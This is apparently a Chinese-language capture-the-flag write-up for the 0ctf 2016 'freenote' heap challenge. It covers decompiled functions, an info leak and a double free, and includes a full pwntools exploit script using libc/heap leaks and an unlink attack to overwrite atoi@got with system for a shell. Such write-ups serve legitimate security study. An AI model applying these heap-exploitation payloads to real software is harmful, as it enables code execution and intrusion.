0ctf-2016-freenote
题目下载
libc version: 2.23
check --file freenote
结构体
00000000 note_s struc ; (sizeof=0x18, mappedto_6) 00000000 ; XREF: headptr/r 00000000 inuse dq ? 00000008 size dq ? 00000010 info dq ? ; offset 00000018 note_s ends
|
00000000 headptr struc ; (sizeof=0x1810, mappedto_8) 00000000 max dq ? 00000008 count dq ? 00000010 node_list note_s 256 dup(?) 00001810 headptr ends
|
函数分析
head_init
headptr *head_init() { headptr *v0; headptr *result; signed int i;
v0 = (headptr *)malloc(0x1810uLL); head = v0; v0->max = 256LL; result = head; head->count = 0LL; for ( i = 0; i <= 255; ++i ) { head->node_list[i].inuse = 0LL; head->node_list[i].size = 0LL; result = (headptr *)((char *)head + 24 * i + 32); result->max = 0LL; } return result; }
|
list
int list() { __int64 v0; unsigned int i;
if ( head->count <= 0 ) { LODWORD(v0) = puts("You need to create some new notes first."); } else { for ( i = 0; ; ++i ) { v0 = head->max; if ( (signed int)i >= head->max ) break; if ( head->node_list[i].inuse == 1 ) printf("%d. %s\n", i, head->node_list[i].info); } } return v0; }
|
new
int new() { __int64 v0; char *note; int i; int len;
if ( head->count < head->max ) { for ( i = 0; ; ++i ) { v0 = head->max; if ( i >= head->max ) break; if ( !head->node_list[i].inuse ) { printf("Length of new note: "); len = read_int32(); if ( len > 0 ) { if ( len > 4096 ) len = 4096; note = (char *)malloc((128 - len % 128) % 128 + len); printf("Enter your note: "); read_note(note, len); head->node_list[i].inuse = 1LL; head->node_list[i].size = len; head->node_list[i].info = note; ++head->count; LODWORD(v0) = puts("Done."); } else { LODWORD(v0) = puts("Invalid length!"); } return v0; } } } else { LODWORD(v0) = puts("Unable to create new note."); } return v0; }
|
- 从前到后遍历chunklist, 当inuse为0的时候, 在那个堆块malloc了note的空间, 注意的是, size是不可任意malloc的, 因为设置了自动对齐的运算, size大小只能是128*n (n > 0), 这就导致我们无法直接申请
fastbin
- 实现了read函数, 输入size后必须输入满足你的size才能结束输入循环
edit
int edit() { headptr *v1; int v2; int v3;
printf("Note number: "); v3 = read_int32(); if ( v3 < 0 || v3 >= head->max || head->node_list[v3].inuse != 1 ) return puts("Invalid number!"); printf("Length of note: "); v2 = read_int32(); if ( v2 <= 0 ) return puts("Invalid length!"); if ( v2 > 4096 ) v2 = 4096; if ( v2 != head->node_list[v3].size ) { v1 = head; v1->node_list[v3].info = (char *)realloc(head->node_list[v3].info, (128 - v2 % 128) % 128 + v2); head->node_list[v3].size = v2; } printf("Enter your note: "); read_note(head->node_list[v3].info, v2); return puts("Done."); }
|
- edit函数并没有限制编辑的次数, 而且要注意的是, 当size不一样的时候, 程序会调用realloc函数
read_note
__int64 __fastcall read_note(char *a1, signed int a2) { signed int i; int v4;
if ( a2 <= 0 ) return 0LL; for ( i = 0; i < a2; i += v4 ) { v4 = read(0, &a1[i], a2 - i); if ( v4 <= 0 ) break; } return (unsigned int)i; }
|
其中 read_note 函数, 在读取一个字符以后, 并没有将后一位置为结束符\x00
, 可能造成信息泄露
delte
int delte() { int v1;
if ( head->count <= 0 ) return puts("No notes yet."); printf("Note number: "); v1 = read_int32(); if ( v1 < 0 || v1 >= head->max ) return puts("Invalid number!"); --head->count; head->node_list[v1].inuse = 0LL; head->node_list[v1].size = 0LL; free(head->node_list[v1].info); return puts("Done."); }
|
- 程序并没有check堆块是否 inuse , 且 fre e后指针没有置空, double free漏洞
攻击思路
首先要获得程序基址, 可以采用unsorted bin attack
来leak libc的基址。
可申请的堆块大小最小为 0x80(small bin’s chunk), 在free后, 这种堆块会先进入 unsorted bin 中, 并且堆块中会存在 fd 和 bk 指针, 第一个 free 的堆块将会将 fd 和 bk 指向 main_arena。
再分配相同大小的堆块, 内核会把这个堆块再次分配回来, 结合读取内容时缺少结束符, 通过 list 函数可以输出 bk 指针, 泄露出 main_arena 的地址。
由于 main_arena 与 libc 之间的偏移是固定的, 所以可以计算出 libc 的基址
同理泄露 heap 地址
泄露 libc 的地址后, 可以加载给出的 libc 文件取得必要的函数地址, 泄露 heap 地址后, 在 double free 触发 unlink 过程中就可以构建 fd 和 bk 指针了
步骤
泄露 libc 的基址
新建 chunk0、chunk1 (chunk1 用于防止 free 时 chunk0 和 top chunk 合并)
new("a" * 8) new("b" * 8)
|
此时 heap 状态
free chunk0
此时 chunk0 进入 unsorted bin 中, 且 fd 和 bk 指向 main_arena
新建一个大小和 chunk0 相同的堆块, 此时内核将从 unsorted bin 中把 chunk0 重新分配回来, 我们需要填入8个字节来leak main_arena 地址。
可以看到此时 chunk0 的内存中除我们输入的 “a” * 8 以外后面跟着 main_arena 的地址
此时就可以打印出 main_arena 的地址
show(0)
ru("a" * 8) mainarena_addr = u64(rv(6) + b"\x00\x00")
|
此时就可以计算 libc 的基址了
libc.address = mainarena_addr - 0x39bb78
|
还原堆状态
泄露 heap 的地址
新建4个 chunk
new("a" * 8) new("b" * 8) new("c" * 8) new("d" * 8)
|
3号 chunk 用于防止 free(2)
时 2号被 top chunk 合并
此时 heap 状态
释放 0 号 和 2 号堆块
此时 chunk0 ->bk 位置存放了 chunk2 的地址, 我们就可以同泄露 libc 的基址来泄露 heap 的地址
申请回 0 号堆块 并泄露
new("e" * 8) show() ru("e" * 8) chunk0_addr = u64(ru("\n")[:-1].ljust(8, b"\x00"))
|
计算 heap 偏移来泄露 heap 地址
heap_addr = chunk0_addr - 0x1940
|
还原堆状态
利用 unlink 修改 atoi 函数进行 get shell
获得system, binsh, atoi@got
地址
system_addr = libc.symbols["system"] binsh_addr = libc.search(b"/bin/sh").__next__() atoi_addr = elf.got["atoi"]
|
新建3个chunk 并 free 掉
new("a" * 0x80) new("a" * 0x80) new("a" * 0x80)
free(0) free(1) free(2)
|
构造 payload 绕过安全检查机制
payload = p64(0) + p64(0x81) + p64(heap_addr + 0x30 - 0x18) + p64(heap_addr + 0x30 - 0x10) + b'a' * 0x60 payload += p64(0x80) + p64(0x90) + b'b' * 0x80 payload += p64(0x0) + p64(0x91) + b'c' * 0x60
new(payload)
free(1)
|
这个chunk大小为前面创建的三个 chunk 大小之和
伪造的 chunk0 和 chunk1 信息如下
这时 free(1)
就会触发 unlink 机制, 把 chunk0 进行 unlink, 而在 unlink 的解链操作中, 就会把 head_ptr 中 node[0].info 的对应的地址最终指向自己(node[0])
free(1)
操作后 伪造的 chunk1 和 chunk0 合并后的 chunk 被 free 入 unsorted bin 中
node[0].info 指向自己
此时进行 edit(0) 操作就是在修改 node[0] 自己
payload2 = p64(2) + p64(1) + p64(8) + p64(atoi_addr)
edit(0, payload2.ljust(len(payload), b'b'))
|
修改后node[0].info 指向 atoi@got.plt
再次修改, 将atoi@got.plt
修改指向system
payload3 = p64(system_addr) edit(0, payload3)
|
这时我们将/bin/sh
的地址发过去就能get shell
了
完整Exp
python3
from pwn import *
p = process("./freenote", env={"LOAD_PRELOAD":"./libc.so.6"}) elf = ELF("./freenote") libc = ELF("./libc.so.6") context.log_level = "debug" context.terminal = ['tmux', 'splitw', '-v']
ru = p.recvuntil rv = p.recv sla = p.sendlineafter sa = p.sendafter
def log_addr(s, addr): log.success(s + hex(addr))
def dbg(s): gdb.attach(p, s)
def show(): sla("choice: ", "1")
def new(data): sla("choice: ", "2") sla("new note: ", str(len(data))) sa("your note: ", data)
def edit(idx, data): sla("choice: ", "3") sla("Note number:", str(idx)) sla("Length of note:", str(len(data))) sa("your note: ", data)
def free(idx): sla("choice: ", "4") sla("Note number: ", str(idx))
new("a" * 8) new("b" * 8)
free(0)
new("a" * 8)
show()
ru("a" * 8) mainarena_addr = u64(rv(6) + b"\x00\x00") log_addr("main_arena addr: ", mainarena_addr)
libc.address = mainarena_addr - 0x39bb78 log_addr("libc addr: ", libc.address)
free(0) free(1)
new("a" * 8) new("b" * 8) new("c" * 8) new("d" * 8)
free(0) free(2)
new("e" * 8) show() ru("e" * 8) chunk0_addr = u64(ru("\n")[:-1].ljust(8, b"\x00")) log_addr("chunk0 addr: ", chunk0_addr)
heap_addr = chunk0_addr - 0x1940 log_addr("heap addr: ", heap_addr)
free(0) free(1) free(3)
system_addr = libc.symbols["system"] binsh_addr = libc.search(b"/bin/sh").__next__() atoi_addr = elf.got["atoi"] log_addr("system addr: ", system_addr) log_addr("/bin/sh addr: ", binsh_addr) log_addr("atoi@got addr: ", atoi_addr) new("a" * 0x80) new("a" * 0x80) new("a" * 0x80)
free(0) free(1) free(2)
payload = p64(0) + p64(0x81) + p64(heap_addr + 0x30 - 0x18) + p64(heap_addr + 0x30 - 0x10) + b'a' * 0x60 payload += p64(0x80) + p64(0x90) + b'b' * 0x80 payload += p64(0x0) + p64(0x91) + b'c' * 0x60
log.success("[*] payload len: " + hex(len(payload)))
new(payload)
free(1)
payload2 = p64(2) + p64(1) + p64(8) + p64(atoi_addr)
edit(0, payload2.ljust(len(payload), b'b'))
payload3 = p64(system_addr) edit(0, payload3)
pause() p.sendline(p64(binsh_addr))
p.interactive()
|